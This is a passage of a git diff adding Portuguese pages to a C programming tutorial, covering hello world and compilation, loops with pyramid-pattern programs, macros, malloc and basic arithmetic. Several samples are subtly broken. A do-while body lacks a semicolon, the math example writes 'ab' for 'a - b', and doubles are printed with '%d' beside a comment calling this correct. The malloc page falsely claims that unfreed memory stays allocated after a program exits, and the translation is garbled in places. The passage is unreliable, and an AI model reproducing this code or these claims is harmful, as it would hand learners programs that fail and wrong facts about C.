+Este código declara a função principal. A função principal é especial - sempre será chamada e é sempre a parte 'principal' do seu programa. Se isso não estiver no seu programa, seu programa não poderá ser executado e não será compilado.
+
+Iniciar a declaração de função com `int` significa que essa função fornecerá um valor `int` quando for executada através de seu código - é a saída desta função. `int` é o tipo de dados 'inteiro' e inteiros são números inteiros como -3, 0 ou 18. Então sabemos que esse código será executado e, quando estiver pronto, nos retornará um número inteiro. Por convenção, esse inteiro é 0.
+
+Em seguida é o `main` . `main` é o nome dessa função e, como você aprendeu anteriormente, é importante ter uma função `main` , pois o programa não funcionará sem ela. `main` é seguido por `(void)` . Isso diz ao compilador que essa função não recebe nenhum parâmetro, o que significa que não possui entrada.
+
+Isso pode não fazer muito sentido agora, mas você aprenderá mais sobre isso quando começar a ler sobre funções em C mais tarde. Por enquanto, lembre-se que o `main` é necessário para o seu programa C, ele não está recebendo nenhuma entrada e está dando um número como sua saída.
+
+Finalmente, há os colchetes: `{` e `}` . Estes marcam o começo e o fim da função. A chave aberta ( `{` ) marca o início e a chave fechada ( `}` ) marca o fim. Tudo entre os dois está dentro da função.
+
+Agora vamos ver a carne do programa:
+
+```C
+    printf("Hello, World!\n"); 
+```
+
+`printf` é uma função que pega texto e imprime na tela. O parêntese indica quais informações queremos que a função `printf` tire e imprima na tela. Mostramos que esta é uma string que queremos imprimir, colocando-a entre aspas "assim".
+
+Observe o \\ n encontrado dentro das aspas - isso diz à função `printf` para imprimir uma nova linha. Uma nova linha é impressa quando você aperta enter no seu teclado. Sem explicitamente dizer ao C para imprimir uma nova linha, tudo será impresso na mesma linha.
+
+Finalmente, a instrução printf () é concluída com um ponto e vírgula ( `;` ). Isso mostra que esta linha de código acabou. Sem ele, o compilador não sabe onde uma linha termina e outra começa, por isso é importante incluir.
+
+O programa termina com uma declaração de retorno:
+
+```C
+return 0; 
+```
+
+Isso mostra que a função acabou e que deve terminar dando um valor de 0 para qualquer coisa que tenha sido executada. Quando você está executando código no seu computador, isso é bom porque permite que outros programas interajam com o seu de uma maneira melhor.
+
+Como antes, esta linha termina com um ponto e vírgula para indicar que a linha foi concluída.
+
+## Compilação e Corrida
+
+Você pode salvar o seu arquivo hello world como o que você quiser, mas ele precisa terminar com a extensão de arquivo .c. Neste exemplo, o arquivo foi nomeado "helloworld.c", porque esse é um nome claro com uma extensão de arquivo .c.
+
+Existem muitas maneiras de compilar e obter o código C em execução no seu computador. Aqui estão alguns:
+
+#### Compilação e execução a partir da linha de comando com o GCC
+
+Se você estiver usando Mac ou GNU + Linux, você já tem o GCC instalado.
+
+Para executar seu programa em C, ele precisa ser compilado. Para compilar a partir da linha de comando usando o gcc, execute o seguinte comando no seu terminal:
+
+```shell
+gcc -o helloworld ./helloworld.c 
+```
+
+`gcc` é o compilador Gnu C, e ele irá compilar o arquivo C que fornecemos em um programa que pode ser executado pelo seu computador.
+
+`-o helloworld` diz ao GCC que você quer que o arquivo compilado (a saída do gcc) seja um arquivo chamado "helloworld". A parte final do comando diz ao GCC onde o arquivo C a ser compilado pode ser encontrado. Se você não estiver confortável com a navegação na linha de comando, essa etapa será difícil, mas tudo bem. É fácil aprender e voltar ou você pode tentar em uma IDE.
+
+Depois de compilá-lo, execute o seguinte comando:
+
+```shell
+./helloworld 
+```
+
+Se tudo correu bem, você deve ver `Hello, World!` impresso na tela.
+
+#### Compilação e execução de C com CodeBlocks
+
+[Codeblocks pode ser baixado aqui.](http://www.codeblocks.org/downloads/26) Crie um novo programa com `file` -> `new` -> `file` , selecione C / C ++ source, selecione C como seu idioma e copie o texto helloworld.c que você leu anteriormente. Compile e execute o código com `Build` -> `Build and Run` .
+
+#### Compilação e execução de C com o Xcode
+
+[O Xcode pode ser baixado aqui.](https://developer.apple.com/xcode/)
+
+#### Compilação e executando C com Dev-C ++
+
+[Dev-C ++ pode ser baixado aqui.](https://sourceforge.net/projects/orwelldevcpp/) Crie um novo programa com `file` -> `new` -> `Source File` , então copie o texto helloworld.c que você leu anteriormente e salve o arquivo com `file` -> `save As` como hello.c, e Compile e execute o código com `Execute` -> `Compile & Run` .
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   C é lingua franca de linguagens de programação.
+*   C foi usado para reimplementar o sistema operacional Unix.
+*   C é útil porque é pequeno, rápido e tem acesso a operações de baixo nível. Por causa disso, ele é muito usado em robótica, sistemas operacionais e eletrônicos de consumo, mas não em coisas como páginas da web.
+*   O programa de AC tem algumas partes críticas:
+*   A instrução include, que informa ao compilador C onde encontrar código adicional que será usado no programa.
+*   A função principal, que é onde o código será executado primeiro e é necessário para compilar.
+*   Coisas dentro dessa função principal que serão executadas, incluindo uma declaração de retorno que fecha o programa e dá um valor ao programa que o chamou.
+*   C precisa ser compilado para ser executado.
+*   C pode ser usado para acessar endereços de hardware específicos e para executar o puncionamento de tipos para corresponder aos requisitos de interface impostos externamente, com uma demanda de tempo de execução baixa nos recursos do sistema.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/loops/index.md b/client/src/guide/portuguese/c/loops/index.md
new file mode 100644
index 0000000000..8f27953f01
--- /dev/null
+++ b/client/src/guide/portuguese/c/loops/index.md
@@ -0,0 +1,638 @@
+---
+title: Loops of all kinds
+localeTitle: Loops de todos os tipos
+---
+# Loops de todos os tipos em C
+
+Loops são o que você usa quando você tem um código que você deseja fazer um loop, o que significa que, após a execução, você pode querer que ele faça um loop ao início e seja executado novamente. Existem alguns destes em C.
+
+## Enquanto loops
+
+O mais simples do grupo são loops while. Enquanto loops serão executados enquanto a condição dentro dos parênteses for verdadeira. Eles devem ser usados ​​quando você quer que algo aconteça até que uma determinada condição ocorra.
+
+### Sintaxe
+```
+while(condition) { 
+   statement(s); 
+ } 
+```
+
+Aqui está um exemplo:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_number = 0; 
+ 
+    while(my_number != 10){ 
+        ++my_number; 
+    } 
+ 
+    printf("my_number = %i", my_number); 
+ 
+    return 0; 
+ } 
+```
+
+Enquanto a declaração dentro do loop while for verdadeira, o conteúdo dentro dos colchetes será executado. Quando o programa atinge o `while(my_number)` , ele verifica a instrução dentro do parêntese. Se essa afirmação for falsa, ela não executará o loop while. Em vez disso, ele ignorará o código entre os dois colchetes e continuará de onde parou.
+
+Se a afirmação for verdadeira, o código dentro dos colchetes será executado. Depois que o código dentro dos colchetes for executado, a instrução dentro dos parênteses será verificada novamente. Assim como antes, se a afirmação for verdadeira, o código será executado, se for falso, o código será ignorado.
+
+Algo em que você pode se deparar ao jogar com este ou qualquer outro loop é a idéia de um loop infinito - um loop que irá rodar uma quantidade infinita de vezes, porque não há nada para pará-lo. Às vezes isso pode acontecer de propósito:
+
+```C
+while(1) { 
+    printf("This will get printed forever unless the program is stopped!"); 
+ } 
+```
+
+Claro, isso também pode acontecer acidentalmente. Aqui está o mesmo código de antes, mas com uma diferença sutil que o transforma em um loop infinito:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_number = 11; 
+ 
+    while(my_number != 10){ 
+        ++my_number; 
+    } 
+ 
+    printf("my_number = %i", my_number); 
+ 
+    return 0; 
+ } 
+```
+
+Quando este loop while é avaliado, `my_number` será verificado para ver se não é 10. Não é, porque ele foi inicializado em 11, então o código dentro do loop while será executado e `my_number` será 12. 12 não igual a 10, de modo que o código dentro do loop while será executado e `my_number` será 13. Isso continuará funcionando para sempre porque essa condição nunca se tornará false - a única maneira de parar é que o programa seja forçado a parar de executar. Este é um exemplo de um loop infinito, porque se deixado sozinho, ele será executado uma quantidade infinita de vezes.
+
+## Loops Do-while
+
+Os loops Do-while são uma versão menos usada de um loop while. Embora os loops comecem com uma avaliação, se essa avaliação for falsa, o código dentro dos colchetes não será executado. Com um loop do-while, entretanto, o código dentro dos colchetes é executado uma vez, então a avaliação é executada para ver se deve ser executada novamente.
+
+### Sintaxe
+```
+do { 
+   statement(s); 
+ } while( condition ); 
+```
+
+Aqui está uma olhada nisso:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void){ 
+    int a = 0; 
+ 
+    do { 
+        a++ 
+    } while(a == -123); 
+ 
+    printf("%i\n", a); 
+ 
+    return 0; 
+ } 
+```
+
+Se este fosse um loop while, o código dentro dos colchetes nunca seria executado porque essa condição não é verdadeira quando a avaliação é executada. No entanto, como esse é um loop do-while, o código será executado uma vez e, em seguida, a avaliação será feita para ver se deve ser feito novamente. Os loops Do-while são úteis quando você sabe que quer que algo seja feito uma vez, mas pode ser necessário executá-lo mais vezes depois disso.
+
+## Para loops
+
+For loops são para quando queremos que algo rode um número definido de vezes.
+
+### Sintaxe
+```
+for(initialisation; condition; changer) 
+ { 
+   statement(s); 
+ } 
+```
+
+Aqui está um exemplo disso:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 4; 
+    int b = 2; 
+    int result = 0; 
+ 
+    for(int count = 0; count != b; count++) { 
+        result = result + a; 
+    } 
+ 
+    printf("a times b is %i\n", result); 
+ 
+    return 0; 
+ } 
+```
+
+A multiplicação é apenas uma adição repetida, portanto, isso está sendo feito em `a` , `b` vezes. Vamos dar uma olhada no bit `for` em particular:
+
+```C
+for(int count = 0; count != b; count++) 
+```
+
+Ao contrário do loop for, há três coisas em nossos parênteses separadas por ponto e vírgula. A primeira seção é para inicialização e é chamada de 'inicialização': permite que você crie uma nova variável e defina um valor, ou defina uma variável existente como um valor diferente, ou você não pode definir nada e apenas colocar uma variável. ponto e vírgula para baixo.
+
+A próxima seção é uma condição booleana que será verificada como verdadeira ou falsa, assim como o nosso loop while. É referido como uma 'condição', porque é a condição que será verificada antes de iniciar um loop.
+
+A seção final é chamada de 'incremento / decremento'. Sua tarefa é executar alguma operação em cada loop - geralmente adicionando ou subtraindo a variável inicial - depois que o código dentro dos colchetes tiver sido executado. Neste caso, é apenas adicionar um à contagem. Esta é a maneira mais comum de usar o incremento, porque permite que você conte quantas vezes você executou um loop for.
+
+### Comparação de sintaxe
+```
+main() 
+ { 
+  int i = 1; 
+  while(i<=5) 
+  { 
+     printf(“While”); 
+     i++; 
+   } 
+  getch(); 
+ } 
+ 
+ 
+ main() 
+ { 
+  int i = 1; 
+  do 
+  { 
+     printf(“do-while”); 
+     i++; 
+   } while(i<=5); 
+  getch(); 
+ 
+ } 
+ 
+ 
+ main() 
+ { 
+  int i 
+  for(i=1;i<=5;i++) 
+  { 
+     printf(“for”); 
+   } 
+  getch(); 
+ } 
+```
+
+# Declarações de controle de loop
+
+As instruções de controle de loop mudam a execução de sua sequência normal. Quando a execução deixa um escopo, todos os objetos automáticos que foram criados nesse escopo são destruídos.
+
+C suporta as seguintes instruções de controle:
+
+#### 1\. Declaração de quebra
+
+Encerra a instrução **loop** ou **switch** e transfere a execução para a instrução imediatamente após o loop ou comutador.
+
+#### 2\. Declaração de continuação
+
+Faz com que o loop pule o restante de seu corpo e repita imediatamente sua condição antes de reiterar.
+
+#### 3\. declaração Goto
+
+Transfere o controle para a instrução rotulada.
+
+# Algumas curiosidades divertidas e úteis
+
+## Loop infinito com laços
+
+Reserve um momento para considerar o que este código fará:
+
+```C
+for(;;){ 
+    printf("hello, world! \n"); 
+ } 
+ 
+ while("Free Code Camp"){ 
+    printf("hello, world! \n"); 
+ } 
+```
+
+Não há nada na seção de inicialização, então nada foi inicializado. Tudo bem, e isso é feito às vezes porque nem sempre você quer ou precisa inicializar nada.
+
+Em seguida é a condição, que está em branco. Isso é um pouco estranho. Isso significa que nenhuma condição será testada, por isso nunca será falsa, portanto, ela será executada no loop, executará a reflexão tardia (que é não fazer nada) e, em seguida, verificará a condição novamente, o que fará com que seja executada novamente. Como você provavelmente percebeu, este é um loop infinito. Acontece que isso é realmente útil. Ao criar um loop infinito, o método de fazer `while(1)` é perfeitamente legítimo, mas realiza uma comparação a cada vez. `for(;;)` , por outro lado, não. Por esse motivo, `for(;;)` tem um uso legítimo em que é um cabelo mais eficiente do que outros métodos de loop infinito. Felizmente, muitos compiladores cuidarão disso para você.
+
+O loop no segundo código enquanto ("Free Code Camp") também será executado infinitamente. O motivo é porque C considera qualquer valor diferente de zero como verdadeiro e, portanto, executará o loop infinitamente.
+
+## Não usando parênteses
+
+Ao longo desta página, você leu que o código "entre parênteses" é o que é executado, e isso é mais verdadeiro. No entanto, e se não houver colchetes?
+
+```C
+while(true) 
+    printf("hello, world! \n"); 
+```
+
+Em casos como esse, C tratará a próxima linha como o único conteúdo que precisa ser colocado em loop. C ignora o espaço em branco, de modo que o recuo é apenas lá para maior clareza. Somente essa linha será tratada como se estivesse no loop, e essa é uma propriedade que, se declarações, loops e loops while compartilharem. Como o espaço em branco é ignorado, o posicionamento não importa: ele pode estar na mesma linha, na próxima linha ou em até 300 linhas e dois espaços, desde que não haja outras linhas de código entre elas. Esse recurso pode tornar seu código um pouco mais limpo quando você tem apenas uma linha de código para executar em uma instrução.
+
+## Ponto e vírgula em vez de parênteses
+
+Se não houver colchetes, o compilador examinará apenas a próxima linha e terá esse o conteúdo do loop. Os pontos-e-vírgulas dizem ao compilador que uma linha acabou. Com essas coisas combinadas, podemos ter C esperando até que algo se torne verdade. Digamos que temos um método chamado `is_button_pressed` que retorna false se um botão não for pressionado e true se um botão for pressionado:
+
+```C
+while(!is_button_pressed()); 
+```
+
+Nada acontece neste loop, porque a única linha que vai olhar é um ponto e vírgula. Como resultado, o método `is_button_pressed` será chamado e seu valor de retorno será avaliado. Se o botão não for pressionado e o valor de retorno for falso, o `!` irá invertê-lo para true para que a função seja executada novamente e avaliada novamente. Se o valor de retorno for verdadeiro, o `!` irá invertê-lo para false e o loop while será encerrado.
+
+Isso tem o efeito de colocar uma pausa no seu código. Nesse caso, o código atingiu o loop while e não foi mais adiante. Em vez disso, ele continuou verificando o status do botão a ser alterado. Isso seria útil quando você não quer que nada aconteça até que uma determinada condição seja satisfeita.
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Os loops permitem que seu código seja executado mais de uma vez, quando certas condições são atendidas.
+*   Há alguns loops disponíveis para nós em C:
+*   While loops, o que nos permite executar o código enquanto uma condição é verdadeira
+*   Loops Do-while, que executam código e continuam a executá-lo se uma condição for verdadeira
+*   Para loops, que executam código enquanto uma condição é verdadeira e nos permitem executar uma operação em cada loop.
+
+## Usando loops para projetar padrões.
+
+#### Exemplo 1: Programa para imprimir meia pirâmide usando \*
+```
+* 
+ * * 
+ * * * 
+ * * * * 
+ * * * * * 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("* "); 
+        } 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+#### Exemplo 2: Programa para imprimir meia pirâmide usando números
+```
+1 
+ 1 2 
+ 1 2 3 
+ 1 2 3 4 
+ 1 2 3 4 5 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("%d ",j); 
+        } 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+#### Exemplo 3: Programa para imprimir meia pirâmide usando alfabetos
+```
+A 
+ BB 
+ CCC 
+ DDDD 
+ EEEEE 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j; 
+    char input, alphabet = 'A'; 
+ 
+    printf("Enter the uppercase character you want to print in last row: "); 
+    scanf("%c",&input); 
+ 
+    for(i=1; i <= (input-'A'+1); ++i) 
+    { 
+        for(j=1;j<=i;++j) 
+        { 
+            printf("%c", alphabet); 
+        } 
+        ++alphabet; 
+ 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+Programas para imprimir meia pirâmide invertida usando \* e números
+
+#### Exemplo 4: meia pirâmide invertida usando \*
+```
+* * * * * 
+ * * * * 
+ * * * 
+ * * 
+ * 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("* "); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### Exemplo 5: Meia pirâmide invertida usando números
+```
+1 2 3 4 5 
+ 1 2 3 4 
+ 1 2 3 
+ 1 2 
+ 1 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("%d ",j); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### Exemplo 6: Programa para imprimir a pirâmide completa usando \*
+```
+        * 
+      * * * 
+    * * * * * 
+  * * * * * * * 
+ * * * * * * * * * 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, space, rows, k=0; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i, k=0) 
+    { 
+        for(space=1; space<=rows-i; ++space) 
+        { 
+            printf("  "); 
+        } 
+ 
+        while(k != 2*i-1) 
+        { 
+            printf("* "); 
+            ++k; 
+        } 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### Exemplo 7: Programa para imprimir pirâmide usando números
+```
+        1 
+      2 3 2 
+    3 4 5 4 3 
+  4 5 6 7 6 5 4 
+ 5 6 7 8 9 8 7 6 5 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, space, rows, k=0, count = 0, count1 = 0; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(space=1; space <= rows-i; ++space) 
+        { 
+            printf("  "); 
+            ++count; 
+        } 
+ 
+        while(k != 2*i-1) 
+        { 
+            if (count <= rows-1) 
+            { 
+                printf("%d ", i+k); 
+                ++count; 
+            } 
+            else 
+            { 
+                ++count1; 
+                printf("%d ", (i+k-2*count1)); 
+            } 
+            ++k; 
+        } 
+        count1 = count = k = 0; 
+ 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+#### Exemplo 8: Pirâmide completa invertida usando \*
+```
+* * * * * * * * * 
+  * * * * * * * 
+    * * * * * 
+      * * * 
+        * 
+```
+
+**Código fonte**
+
+```c
+#include<stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, i, j, space; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(space=0; space < rows-i; ++space) 
+            printf("  "); 
+ 
+        for(j=i; j <= 2*i-1; ++j) 
+            printf("* "); 
+ 
+        for(j=0; j < i-1; ++j) 
+            printf("* "); 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### Exemplo 9: Imprimir o triângulo de Pascal
+```
+           1 
+         1   1 
+       1   2   1 
+     1   3   3    1 
+   1  4    6   4   1 
+ 1  5   10   10  5   1 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, coef = 1, space, i, j; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=0; i<rows; i++) 
+    { 
+        for(space=1; space <= rows-i; space++) 
+            printf("  "); 
+ 
+        for(j=0; j <= i; j++) 
+        { 
+            if (j==0 || i==0) 
+                coef = 1; 
+            else 
+                coef = coef*(i-j+1)/j; 
+ 
+            printf("%4d", coef); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### Exemplo 10: Imprima o Triângulo do Floyd.
+```
+1 
+ 2 3 
+ 4 5 6 
+ 7 8 9 10 
+```
+
+**Código fonte**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, i, j, number= 1; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i <= rows; i++) 
+    { 
+        for(j=1; j <= i; ++j) 
+        { 
+            printf("%d ", number); 
+            ++number; 
+        } 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/macros/index.md b/client/src/guide/portuguese/c/macros/index.md
new file mode 100644
index 0000000000..ce24873468
--- /dev/null
+++ b/client/src/guide/portuguese/c/macros/index.md
@@ -0,0 +1,77 @@
+---
+title: Macros in C
+localeTitle: Macros em C
+---
+## Macros em C
+
+Uma macro é um pedaço de código com um determinado nome. Quando o nome é usado, ele é substituído pelo conteúdo da macro.
+
+#### Definindo macros
+
+A palavra-chave `#define` é usada para definir novas macros. É seguido por um nome e um conteúdo. Por convenção, os nomes das macros são escritos em maiúsculas.
+
+```C
+#define PI 3.14 
+```
+
+Se você usar a macro desta maneira:
+
+```C
+printf("Value of PI: %d", PI); 
+```
+
+É o mesmo que escrever isto:
+
+```C
+printf("Value of PI: %d", 3.14); 
+```
+
+#### Tipos de macros
+
+Existem dois tipos de macros. As macros `Object-like` , mostradas acima, e as macros `Function-like` .
+
+#### Macros Funcionais
+
+Função-like usa a mesma palavra-chave `#define` . A diferença é que você usa um par de parênteses após o nome da função.
+
+```C
+#define hello_world() printf("Hello World!") 
+```
+
+Então chamando:
+
+```C
+hello_world() 
+```
+
+Você recebe:
+
+```C
+printf("Hello World!"); 
+```
+
+Você também pode definir parâmetros:
+
+```C
+#define hello(X) printf("Hello " X "!") 
+```
+
+Agora chamando:
+
+```C
+hello("World"); 
+```
+
+Você obtém o equivalente de:
+
+```C
+printf("Hello World!"); 
+```
+
+#### Mais Informações:
+
+[Documentação Online do GCC: Macros](https://gcc.gnu.org/onlinedocs/cpp/Macros.html)
+
+[Documentação on-line do GCC: macros semelhantes a objetos](https://gcc.gnu.org/onlinedocs/cpp/Object-like-Macros.html#Object-like-Macros)
+
+[Documentação on-line do GCC: macros semelhantes a funções](https://gcc.gnu.org/onlinedocs/cpp/Function-like-Macros.html#Function-like-Macros)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/malloc/index.md b/client/src/guide/portuguese/c/malloc/index.md
new file mode 100644
index 0000000000..6970468fc5
--- /dev/null
+++ b/client/src/guide/portuguese/c/malloc/index.md
@@ -0,0 +1,42 @@
+---
+title: malloc
+localeTitle: malloc
+---
+# malloc em C
+
+malloc () é uma função de biblioteca que permite que C aloque dinamicamente a memória do heap. O heap é uma área da memória em que algo é armazenado.
+
+malloc () faz parte do stdlib.h e para poder usá-lo você precisa usar `#include <stdlib.h>` .
+
+## Usando Malloc
+
+malloc () aloca memória de um tamanho solicitado e retorna um ponteiro para o início do bloco alocado. Para manter este ponteiro retornado, devemos criar uma variável. O ponteiro deve ser do mesmo tipo usado na instrução malloc.  
+Aqui vamos fazer um ponteiro para um conjunto de ints
+
+```C
+int* arrayPtr; 
+```
+
+Ao contrário de outras linguagens, C não sabe o tipo de dados para o qual está alocando memória; precisa ser contada. Felizmente, C tem uma função chamada `sizeof()` que podemos usar.
+
+```C
+arrayPtr = (int *)malloc(10 * sizeof(int)); 
+```
+
+Esta declaração usou malloc para separar memória para um array de 10 inteiros. Como os tamanhos podem mudar entre os computadores, é importante usar a função sizeof () para calcular o tamanho no computador atual.
+
+Qualquer memória alocada durante a execução do programa precisará ser liberada antes do fechamento do programa. Para `free` memória, podemos usar a função free ()
+
+```C
+free( arrayPtr ); 
+```
+
+Esta declaração desalocará a memória anteriormente alocada. C não vem com um `garbage collector` como outras linguagens, como Java. Como resultado, a memória não liberada corretamente continuará a ser alocada após o programa ser fechado.
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   O Malloc é usado para alocação de memória dinâmica e é útil quando você não sabe a quantidade de memória necessária durante o tempo de compilação.
+*   A alocação de memória permite que objetos existam além do escopo do bloco atual.
+*   C passa por valor em vez de referência. Usando malloc para atribuir memória e, em seguida, passar o ponteiro para outra função, é mais eficiente do que ter a função recriar a estrutura.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/math/index.md b/client/src/guide/portuguese/c/math/index.md
new file mode 100644
index 0000000000..35678a2e9b
--- /dev/null
+++ b/client/src/guide/portuguese/c/math/index.md
@@ -0,0 +1,172 @@
+---
+title: Basic Math
+localeTitle: Matemática básica
+---
+# Matemática em C
+
+C fornece muitas opções para fazer matemática. Vamos começar com alguns dos mais comuns primeiro.
+
+## O material básico
+
+Esses exemplos a seguir não são um código completo, são apenas exemplos de como um código parece. Lembre-se de que, em C, precisaremos ter tudo declarado antes de usá-lo - `result` , `a` e `b` precisarão já ter sido inicializados e definidos como um valor. Quer sejam `int` , `double` ou o que quer que seja importante para evitar erros e perda de informações - vamos abordar isso mais tarde.
+
+#### Adição: `+`
+
+A adição é realizada com um `+` , assim:
+
+```C
+result = a + b; 
+```
+
+No exemplo acima, o `result` da variável será igual a + b.
+
+#### Subtração: `-`
+
+A adição é executada com um `-` assim:
+
+```C
+result = a - b; 
+```
+
+No exemplo acima, o `result` da variável será igual a - b.
+
+#### Multiplicação: `*`
+
+A multiplicação é realizada com um `*` , assim:
+
+```C
+result = a * b; 
+```
+
+No exemplo acima, o `result` da variável será igual a um multiplicado por b.
+
+#### Divisão: `/`
+
+Divisão é realizada com um `/` , assim:
+
+```C
+result = a / b; 
+```
+
+No exemplo acima, o `result` da variável será igual a a dividido por b. Isso nem sempre é uma fração de over-b, no entanto. Ao lidar com inteiros, as coisas ficam um pouco diferentes - mais sobre isso depois.
+
+# O material não tão básico
+
+## Módulo: '%'
+
+Ok, agora as coisas começam a ficar um pouco estranhas.
+
+Módulo permite que você encontre o restante na divisão. Lembre-se que com números inteiros, não podemos ter um decimal. A divisão trata de descobrir quantas vezes um número caberá em outro, o módulo é descobrir o que sobrou. Tome 27 dividido por 4: 4 se encaixa em 27 6 vezes. 6 vezes 4 é 24, o que significa que sobraram 3. Como resultado, 27% 4 é 3. 10 dividido por 5 é 2, 2 vezes 5 é 10, então resta 0 sobrando. Como resultado, 10% 5 é 0.
+
+O operador de módulo é mais importante do que você imagina, especialmente em C, onde a diferença entre o número de pontos flutuantes e números inteiros é aplicada. Vale a pena ser confortável. Aqui está um exemplo:
+
+```C
+result = a % b; 
+```
+
+No exemplo acima, o `result` será igual a um módulo b.
+
+## Inteiros e matemática
+
+Os inteiros não podem ter decimais. Como resultado, quando você executa divisão com inteiros, qualquer tipo de decimal será truncado. Por exemplo, 17 dividido por 10 é 1.7. No entanto, se estamos lidando apenas com números inteiros, esse resultado será 1, não 1.7. 10 se encaixa em 17 1 vez, então a resposta é 1.
+
+Ao lidar com números de ponto flutuante, isso não é um problema. Os números de pontos flutuantes podem ter casas decimais, portanto, não precisamos nos preocupar com o fato de as coisas ficarem truncadas.
+
+### Por que C faz isso?
+
+C, como discutido anteriormente, é uma linguagem de baixo nível. Existem grandes diferenças entre números de ponto flutuante e números inteiros no hardware de um computador, e eles exigem que certos tipos de dados tenham certas propriedades (como não aceitar decimais, por exemplo). C não faz suposições sobre o que você quer, e obriga você a pensar sobre isso sozinho.
+
+### Por que não usamos números de ponto flutuante o tempo todo?
+
+Isso também se resume a C sendo uma linguagem de baixo nível. O C é muito, muito mais rápido e muito, muito mais leve do que muitas outras linguagens, e uma das razões é o fato de o programador ser capaz de tomar decisões inteligentes sobre tipos de dados. Lembre-se de que números de ponto flutuante ocupam muito mais memória do que números inteiros. Como resultado, é importante usar o tipo de dados apropriado e lidar com inteiros para conversões de ponto flutuante sempre que necessário.
+
+### Como podemos contornar isso?
+
+Fundição (descrita posteriormente) é uma solução. O outro está usando números de ponto flutuante. Se um ou ambos os números que estão sendo operados forem um número de ponto flutuante, o resultado será um número de ponto flutuante. Isso se torna mais complexo quando começamos a lidar com a ordem das operações, mas, por enquanto, saiba que isso funciona:
+
+```C
+double result = 23.0 / 2; 
+```
+
+# Um exemplo completo
+
+```C
+#include <stdio.h> 
+ 
+ // This is a comment. It gets ignored by the compiler, so we can write notes after the double slashes. 
+ 
+ int main(void) { 
+    int a = 3; 
+    int b = 5; 
+    int result = 0; 
+ 
+    // Doing things with variables: 
+    result = a + b; 
+    printf("a plus b = %i \n", result); 
+ 
+    // You can also do the operation inside the printf. 
+    // Here's an example of that with subtraction: 
+    printf("a minus b = %i \n", ab); 
+ 
+    // You don't need to do this with variables at all. 
+    // Here's an example of that with multiplication: 
+    printf("10 times 5 = %i \n", 10*5); 
+ 
+    // Here's a look at division. 
+    // Notice that the decimals are truncated because we're dealing with integers. 
+    printf("12 divided by 5 = %i \n", 12/5); 
+ 
+    // Now let's force floating point numbers by including a decimal. 
+    // Notice that even though these are integers, the decimal forces them to be 
+    // treated as floating point numbers, so they aren't truncated. 
+    // Note that I'm printing a double with %d, not an int with %i. 
+    printf("12.0 divided by 5 = %d \n", 12.0/5); 
+ 
+    return 0; 
+ } 
+```
+
+Dê uma corrida para ver o que acontece e não se esqueça de jogar com os operadores e os valores para ver o que e como as coisas mudam.
+
+# Biblioteca de matemática
+
+C fornece uma biblioteca de matemática ( `math.h` ) que fornece várias funções matemáticas úteis. Por exemplo, o poder de um número pode ser calculado como:
+
+```#include<math.h>
+int result = pow(2,3) // will result in 2*2*2 or 8 
